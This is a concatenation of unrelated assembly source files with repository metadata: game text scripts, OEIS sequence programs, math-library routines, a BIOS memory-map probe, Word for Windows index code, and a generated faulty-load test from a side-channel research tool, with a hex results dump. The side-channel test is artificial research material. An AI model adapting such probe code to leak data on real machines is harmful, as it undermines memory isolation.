ld hl, SilphCo4TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
SilphCo4BattleText3:
text_far _SilphCo4BattleText3
text_end
SilphCo4EndBattleText3:
text_far _SilphCo4EndBattleText3
text_end
SilphCo4AfterBattleText3:
text_far _SilphCo4AfterBattleText3
text_end
SilphCo4Text4:
text_asm
ld hl, SilphCo4TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
SilphCo4BattleText4:
text_far _SilphCo4BattleText4
text_end
SilphCo4EndBattleText4:
text_far _SilphCo4EndBattleText4
text_end
SilphCo4AfterBattleText4:
text_far _SilphCo4AfterBattleText4
text_end
| 19.220994
| 115
| 0.8238
|
09c546b91e3546ce12ad0174819e3a495c2ae450
| 335
|
asm
|
Assembly
|
programs/oeis/057/A057979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/057/A057979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/057/A057979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A057979: a(n) = 1 for even n and (n-1)/2 for odd n.
; 1,0,1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12,1,13,1,14,1,15,1,16,1,17,1,18,1,19,1,20,1,21,1,22,1,23,1,24,1,25,1,26,1,27,1,28,1,29,1,30,1,31,1,32,1,33,1,34,1,35,1,36,1,37,1,38,1,39,1,40,1,41,1,42,1,43,1,44,1,45,1,46,1,47,1,48,1,49
mov $1,$0
div $0,2
mod $1,2
pow $0,$1
| 41.875
| 241
| 0.570149
|
5df465847067f94a9e4d8907f217659e1e7c2a32
| 613
|
asm
|
Assembly
|
programs/oeis/277/A277369.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/277/A277369.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/277/A277369.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A277369: a(0) = 5, a(1) = 8; for n>1, a(n) = 2*a(n-1) + a(n-2).
; 5,8,21,50,121,292,705,1702,4109,9920,23949,57818,139585,336988,813561,1964110,4741781,11447672,27637125,66721922,161080969,388883860,938848689,2266581238,5472011165,13210603568,31893218301,76997040170,185887298641,448771637452,1083430573545,2615632784542,6314696142629,15245025069800,36804746282229,88854517634258,214513781550745,517882080735748,1250277943022241,3018437966780230,7287153876582701
mov $1,5
mov $2,$0
lpb $2
add $3,$1
mov $4,$1
mov $5,$1
lpb $5
mov $1,$3
add $1,3
trn $5,$3
add $3,$4
lpe
sub $2,1
lpe
| 34.055556
| 398
| 0.729201
|
9eeac6865db52a86a159a20e76719b10dbd2f99c
| 835
|
asm
|
Assembly
|
libsrc/genmath/unpack.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | 1
|
2018-09-04T23:07:24.000Z
|
2018-09-04T23:07:24.000Z
|
libsrc/genmath/unpack.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
libsrc/genmath/unpack.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
;
; Z88dk Generic Floating Point Math Library
;
; Unpack FP number
;
; $Id: unpack.asm,v 1.1 2002/01/21 20:35:22 dom Exp $:
XLIB unpack
XREF fa
.UNPACK LD HL,FA+4
LD A,(HL) ;get MSB of fraction
RLCA ;rotate sign bit into lsb
SCF ;set carry
RRA ;rotate sign bit into cy, cy into msb
LD (HL),A ;restore MSB (with hidden bit restored)
CCF ;complement sign bit...
RRA
INC HL
INC HL
LD (HL),A ;...and save in msb of FASIGN
LD A,C ;similarly, get sign bit of bc ix de...
RLCA
SCF
RRA
LD C,A ;...restore hidden bit...
RRA
XOR (HL) ;...and compare with sign of FA.
RET
| 25.30303
| 63
| 0.464671
|
d9ac83ff34c46a29d9b07f76e245f4f43804d9c9
| 2,061
|
asm
|
Assembly
|
boot1/check_mem.asm
|
hyfloac/Kernel
|
f4a8a97651abcfd4419015046440d1017546f6bf
|
[
"MIT"
] | null | null | null |
boot1/check_mem.asm
|
hyfloac/Kernel
|
f4a8a97651abcfd4419015046440d1017546f6bf
|
[
"MIT"
] | null | null | null |
boot1/check_mem.asm
|
hyfloac/Kernel
|
f4a8a97651abcfd4419015046440d1017546f6bf
|
[
"MIT"
] | null | null | null |
[BITS 16]
global memory_table_size
MAGIC_SMAP equ 0x534D4150 ; The magic number "SMAP"
check_mem:
mov ax, 0x4000 ; The table will be at 0x40008, so the segment will be 0x4000
mov es, ax
mov di, 0x0008 ; The table will be at 0x40008 for 8 byte alignment
xor ebx, ebx
xor bp, bp ; The table entry count
mov edx, MAGIC_SMAP ; Store magic word "SMAP"
mov eax, 0xE820
mov [es:di + 20], dword 1 ; Force ACPI 3.X entry
mov ecx, 24 ; Attempt to get 24 byte entries
int 0x15
jc .failed
mov edx, MAGIC_SMAP ; Some BIOS's may trash this register.
cmp eax, edx ; On success EAX will be set to "SMAP"
jne .failed
test ebx, ebx ; If ebx == 0 there is only 1 entry
jz .failed
jmp .jmpin
.e820lp:
test ebx, ebx ; If EBX is 0, list is complete
jz .e820f
mov eax, 0xE820 ; EAX and ECX are volatile for int 0x15
mov [es:di + 20], dword 1 ; Force ACPI 3.X Entry
mov ecx, 24 ; Attempt to get 24 byte entries
int 0x15
jc .e820f ; Carry set means "end of list already reached"
mov edx, MAGIC_SMAP ; Some BIOS's may trash this register
.jmpin:
jcxz .e820lp ; Skip 0 length entries
cmp cl, 24 ; Was the entry 24 bytes
je .ext_ent
.handle_ent:
mov ecx, [es:di + 8] ; Get lower u32 of memory region length
or ecx, [es:di + 12] ; Or it is with the upper 32 bits to test for zero
jz .e820lp
inc bp ; Increment valid entry count
add di, 24
jmp .e820lp
.ext_ent:
test byte [es:di + 20], 1 ; Should this entry be ignored?
jne .handle_ent
jmp .e820lp
.e820f:
mov [es:0x0], bp ; Store the table count at 0x40000
clc ; Success
ret
.failed:
mov [es:0x0], word 0xFFFF
stc ; Function unsupported
ret
| 30.761194
| 93
| 0.548763
|
97d5d0dda2ae2afddc42c67cd4189167bfb73947
| 234
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/errno_from_esxdos.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; uchar errno_from_esxdos(uchar code)
SECTION code_clib
SECTION code_esxdos
PUBLIC _errno_from_esxdos
EXTERN asm_errno_from_esxdos
_errno_from_esxdos:
pop af
pop hl
push hl
push af
jp asm_errno_from_esxdos
| 12.315789
| 37
| 0.764957
|
2dd0410c88e7e477389f9fd7869663230c3a270a
| 1,991
|
asm
|
Assembly
|
scripts/WardensHouse.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
scripts/WardensHouse.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
scripts/WardensHouse.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
WardensHouse_Script:
jp EnableAutoTextBoxDrawing
WardensHouse_TextPointers:
dw FuchsiaHouse2Text1
dw PickUpItemText
dw BoulderText
dw FuchsiaHouse2Text4
dw FuchsiaHouse2Text5
FuchsiaHouse2Text1:
text_asm
CheckEvent EVENT_GOT_HM04
jr nz, .got_item
ld b, GOLD_TEETH
call IsItemInBag
jr nz, .have_gold_teeth
CheckEvent EVENT_GAVE_GOLD_TEETH
jr nz, .gave_gold_teeth
ld hl, WardenGibberishText1
call PrintText
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
ld hl, WardenGibberishText3
jr nz, .refused
ld hl, WardenGibberishText2
.refused
call PrintText
jr .done
.have_gold_teeth
ld hl, WardenTeethText1
call PrintText
ld a, GOLD_TEETH
ldh [hItemToRemoveID], a
farcall RemoveItemByID
SetEvent EVENT_GAVE_GOLD_TEETH
.gave_gold_teeth
ld hl, WardenThankYouText
call PrintText
lb bc, HM_STRENGTH, 1
call GiveItem
jr nc, .bag_full
ld hl, ReceivedHM04Text
call PrintText
SetEvent EVENT_GOT_HM04
jr .done
.got_item
ld hl, HM04ExplanationText
call PrintText
jr .done
.bag_full
ld hl, HM04NoRoomText
call PrintText
.done
jp TextScriptEnd
WardenGibberishText1:
text_far _WardenGibberishText1
text_end
WardenGibberishText2:
text_far _WardenGibberishText2
text_end
WardenGibberishText3:
text_far _WardenGibberishText3
text_end
WardenTeethText1:
text_far _WardenTeethText1
sound_get_item_1
WardenTeethText2:
text_far _WardenTeethText2
text_end
WardenThankYouText:
text_far _WardenThankYouText
text_end
ReceivedHM04Text:
text_far _ReceivedHM04Text
sound_get_item_1
text_end
HM04ExplanationText:
text_far _HM04ExplanationText
text_end
HM04NoRoomText:
text_far _HM04NoRoomText
text_end
FuchsiaHouse2Text5:
FuchsiaHouse2Text4:
text_asm
ldh a, [hSpriteIndex]
cp $4
ld hl, FuchsiaHouse2Text_7517b
jr nz, .asm_4c9a2
ld hl, FuchsiaHouse2Text_75176
.asm_4c9a2
call PrintText
jp TextScriptEnd
FuchsiaHouse2Text_75176:
text_far _FuchsiaHouse2Text_75176
text_end
FuchsiaHouse2Text_7517b:
text_far _FuchsiaHouse2Text_7517b
text_end
| 17.464912
| 34
| 0.831241
|
93e40272925dfd1a5c5056aa375716cbef5f102f
| 5,014
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_un_/i9-9900K_12_0xa0_notsx.log_21829_1464.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x14ff, %rdx
nop
and $54824, %r12
mov $0x6162636465666768, %rax
movq %rax, %xmm7
vmovups %ymm7, (%rdx)
nop
and %rax, %rax
lea addresses_WC_ht+0x1260b, %rsi
lea addresses_D_ht+0xabdb, %rdi
nop
nop
sub %r10, %r10
mov $3, %rcx
rep movsb
nop
nop
nop
cmp $39842, %rdx
lea addresses_A_ht+0x1e1db, %rdx
nop
nop
nop
nop
nop
add $22528, %rdi
movups (%rdx), %xmm0
vpextrq $0, %xmm0, %r10
nop
nop
nop
sub %r12, %r12
lea addresses_WC_ht+0x111c3, %rdx
nop
nop
nop
nop
cmp %r10, %r10
movb $0x61, (%rdx)
nop
nop
nop
nop
nop
add %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r9
push %rax
push %rdi
push %rsi
// Faulty Load
lea addresses_US+0x1a3db, %r9
nop
xor $42495, %rdi
vmovntdqa (%r9), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rsi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rax
pop %r9
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}}
{'06': 1892, 'e2': 1, 'de': 1, '9f': 19928, '6c': 1, '86': 1, 'fe': 1, '87': 1, '85': 2, '8e': 1}
9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 06 06 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 06 9f 9f 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 06 9f 9f 9f 9f 9f 9f 06 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 06 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 06 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f
*/
| 48.211538
| 2,999
| 0.656163
|
d7e770ccc59f809e0f5eedf11d1032c9de36cfe1
| 431
|
asm
|
Assembly
|
programs/oeis/257/A257200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/257/A257200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/257/A257200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A257200: a(n) = n*(n+1)*(n+2)*(n+3)*(n^2+3*n+26)/720.
; 1,6,22,63,154,336,672,1254,2211,3718,6006,9373,14196,20944,30192,42636,59109,80598,108262,143451,187726,242880,310960,394290,495495,617526,763686,937657,1143528,1385824,1669536,2000152,2383689,2826726,3336438,3920631,4587778,5347056,6208384,7182462
lpb $0
mov $2,$0
sub $0,1
seq $2,257199 ; a(n) = n*(n+1)*(n+2)*(n^2+2*n+17)/120.
add $1,$2
lpe
add $1,1
mov $0,$1
| 35.916667
| 250
| 0.677494
|
512d12388c8435e820ee2ea0d4c704d06e189072
| 155
|
asm
|
Assembly
|
src/console/ConsoleInputHandle.asm
|
jhm-ciberman/calculator-asm
|
f5305f345d7efdd616b34a485f7460f6789f4d9c
|
[
"MIT"
] | 2
|
2019-08-03T17:09:30.000Z
|
2021-04-01T22:17:09.000Z
|
src/console/ConsoleInputHandle.asm
|
jhm-ciberman/calculator-asm
|
f5305f345d7efdd616b34a485f7460f6789f4d9c
|
[
"MIT"
] | null | null | null |
src/console/ConsoleInputHandle.asm
|
jhm-ciberman/calculator-asm
|
f5305f345d7efdd616b34a485f7460f6789f4d9c
|
[
"MIT"
] | 1
|
2019-08-04T21:26:32.000Z
|
2019-08-04T21:26:32.000Z
|
proc ConsoleInputHandle, input: QWORD
fastcall AppLogOffsetReset
fastcall ParserParseString, rcx
fastcall ConsoleFlushBuffers
ret
endp
| 25.833333
| 38
| 0.767742
|
1dd2a17924cc19cbeadb1fbb1668ba55bc6d9ebb
| 1,252
|
asm
|
Assembly
|
programs/oeis/017/A017740.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017740.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017740.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017740: Binomial coefficients C(n,76).
; 1,77,3003,79079,1581580,25621596,350161812,4151918628,43595145594,411731930610,3540894603246,28005257316582,205371886988268,1406007533996604,9038619861406740,54834293825867556,315297189498738447,1724861095493098563,9007607943130625829,45038039715653129145,216182590635135019896,998557680552766520472,4448120577007778136648,19146258135816088501224,79776075565900368755100,322295345286237489770604,1264389431507547075253908,4823411535010272175968612,17915528558609582367883416,64866568919103660297508920,229195210180832933051198184,791093144817713672144458248,2669939363759783643487546587,8818890625752012640610381151,28531704965668276190210056665,90486264319690818774666179709,281512822327926991743405892428,859755376298804055864996374172,2579266128896412167594989122516,7605528328797112801882660233060,22056032153511627125459714675874,62940384438069765211677722367738,176832508659338864166142172366502,489373686754914531064439965386366,1334655509331585084721199905599180,3588740369536039894472559746166684,9517963588769497111427223674615988,24908713221673364780969117276122692,64347509155989525684170219629983621,164151809071401851235128111300978625,413662558859932665112522840478466135
add $0,76
bin $0,76
| 208.666667
| 1,188
| 0.941693
|
31a92e7b132d827eaeca88445ecfdcaf84ef666b
| 4,062
|
asm
|
Assembly
|
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
|
lborgav/Historical-Source-Codes
|
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
|
[
"MIT"
] | 7
|
2017-01-12T17:48:48.000Z
|
2021-11-28T04:37:34.000Z
|
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
|
lborgav/Historical-Source-Codes
|
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
|
[
"MIT"
] | null | null | null |
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
|
lborgav/Historical-Source-Codes
|
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
|
[
"MIT"
] | 5
|
2017-03-28T08:04:30.000Z
|
2020-03-25T14:25:29.000Z
|
include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg index2_PCODE,index2,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midIndex2n equ 34 ; module ID, for native asserts
endif
; EXTERNAL FUNCTIONS
externFP <N_WCompSzSrt>
externFP <ReloadSb>
ifdef DEBUG
externFP <AssertProcForNative>
externFP <S_WCompSzSrt>
endif ;DEBUG
sBegin data
; EXTERNALS
externW mpsbps
; #ifdef DEBUG
ifdef DEBUG
externW vcComps
externW wFillBlock
; #endif /* DEBUG */
endif
sEnd data
; CODE SEGMENT _INDEX2
sBegin index2
assumes cs,index2
assumes ds,dgroup
assumes ss,dgroup
;-------------------------------------------------------------------------
; WCompRgchIndex(hpch1, cch1, hpch2, cch2)
;-------------------------------------------------------------------------
;/* W C O M P R G C H I N D E X */
;/* Routine to compare RGCH1 and RGCH2
; Return:
; 0 if rgch1 = rgch2
; negative if rgch1 < rgch2
; positive if rgch1 > rgch2
; This routine is case-insensitive
; soft hyphens are ignored in the comparison
;*/
; %%Function:WCompRgchIndex %%Owner:BRADV
;HANDNATIVE int WCompRgchIndex(hpch1, cch1, hpch2, cch2)
;char HUGE *hpch1, HUGE *hpch2;
;int cch1, cch2;
;{
; char *pch;
; char HUGE *hpchLim;
; char sz1[cchMaxEntry+2];
; char sz2[cchMaxEntry+2];
cProc N_WCompRgchIndex,<PUBLIC,FAR,ATOMIC>,<si,di>
ParmD hpch1
OFFBP_hpch1 = -4
ParmW cch1
OFFBP_cch1 = -6
ParmD hpch2
OFFBP_hpch2 = -10
ParmW cch2
OFFBP_cch2 = -12
LocalV sz1,<cchMaxEntry+2>
LocalV sz2,<cchMaxEntry+2>
cBegin
; Debug(++vcComps);
ifdef DEBUG
inc [vcComps]
endif ;DEBUG
; Assert(cch1 < cchMaxEntry);
; for (pch = sz1, hpchLim = hpch1 + cch1;
; hpch1 < hpchLim; hpch1++)
; {
; if (*hpch1 != chNonReqHyphen)
; *pch++ = *hpch1;
; }
; *pch = 0;
lea si,[sz1]
push si ;argument for WCompSzSrt
lea di,[hpch1]
call WCRI01
; Assert(cch2 < cchMaxEntry);
; for (pch = sz2, hpchLim = hpch2 + cch2;
; hpch2 < hpchLim; hpch2++)
; {
; if (*hpch2 != chNonReqHyphen)
; *pch++ = *hpch2;
; }
; *pch = 0;
lea si,[sz2]
push si ;argument for WCompSzSrt
lea di,[hpch2]
call WCRI01
; return (WCompSzSrt(sz1, sz2, fFalse /* not case sensitive */));
errnz <fFalse>
xor ax,ax
push ax
ifdef DEBUG
cCall S_WCompSzSrt,<>
else ;not DEBUG
cCall N_WCompSzSrt,<>
endif ;DEBUG
;}
cEnd
WCRI01:
; Assert(cch < cchMaxEntry);
ifdef DEBUG
errnz <OFFBP_hpch1 - OFFBP_cch1 - 2>
errnz <OFFBP_hpch2 - OFFBP_cch2 - 2>
cmp wptr [di+(OFFBP_cch1 - OFFBP_hpch1)],cchMaxEntry
jb WCRI02
push ax
push bx
push cx
push dx
mov ax,midIndex2n
mov bx,1001 ; label # for native assert
cCall AssertProcForNative, <ax, bx>
pop dx
pop cx
pop bx
pop ax
WCRI02:
endif ;DEBUG
; for (pch = sz, hpchLim = hpch + cch;
; hpch < hpchLim; hpch++)
; {
; if (*hpch != chNonReqHyphen)
; *pch++ = *hpch;
; }
mov bx,[di+2] ;get SEG_hpch
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc WCRI03
; reload sb trashes ax, cx, and dx
cCall ReloadSb,<>
ifdef DEBUG
mov ax,[wFillBlock]
mov bx,[wFillBlock]
mov cx,[wFillBlock]
mov dx,[wFillBlock]
endif ;DEBUG
WCRI03:
errnz <OFFBP_hpch1 - OFFBP_cch1 - 2>
errnz <OFFBP_hpch2 - OFFBP_cch2 - 2>
mov cx,[di+(OFFBP_cch1 - OFFBP_hpch1)]
mov di,[di] ;get OFF_hpch
mov al,chNonReqHyphen
WCRI04:
mov dx,di
repne scasb ;look for chNonReqHyphen
push cx
push di
push es
pop ds
push ss
pop es
mov cx,di
mov di,si
mov si,dx
jne WCRI05 ;if we found a chNonReqHyphen, don't copy it
dec cx
WCRI05:
sub cx,dx
rep movsb ;copy up to the chNonReqHyphen or end of rgch
mov si,di
push ds
pop es
push ss
pop ds
pop di
pop cx
or cx,cx ;more characters in rgch?
jne WCRI04 ;yes - look for more chNonReqHyphens
; *pch = 0;
mov bptr [si],0
ret
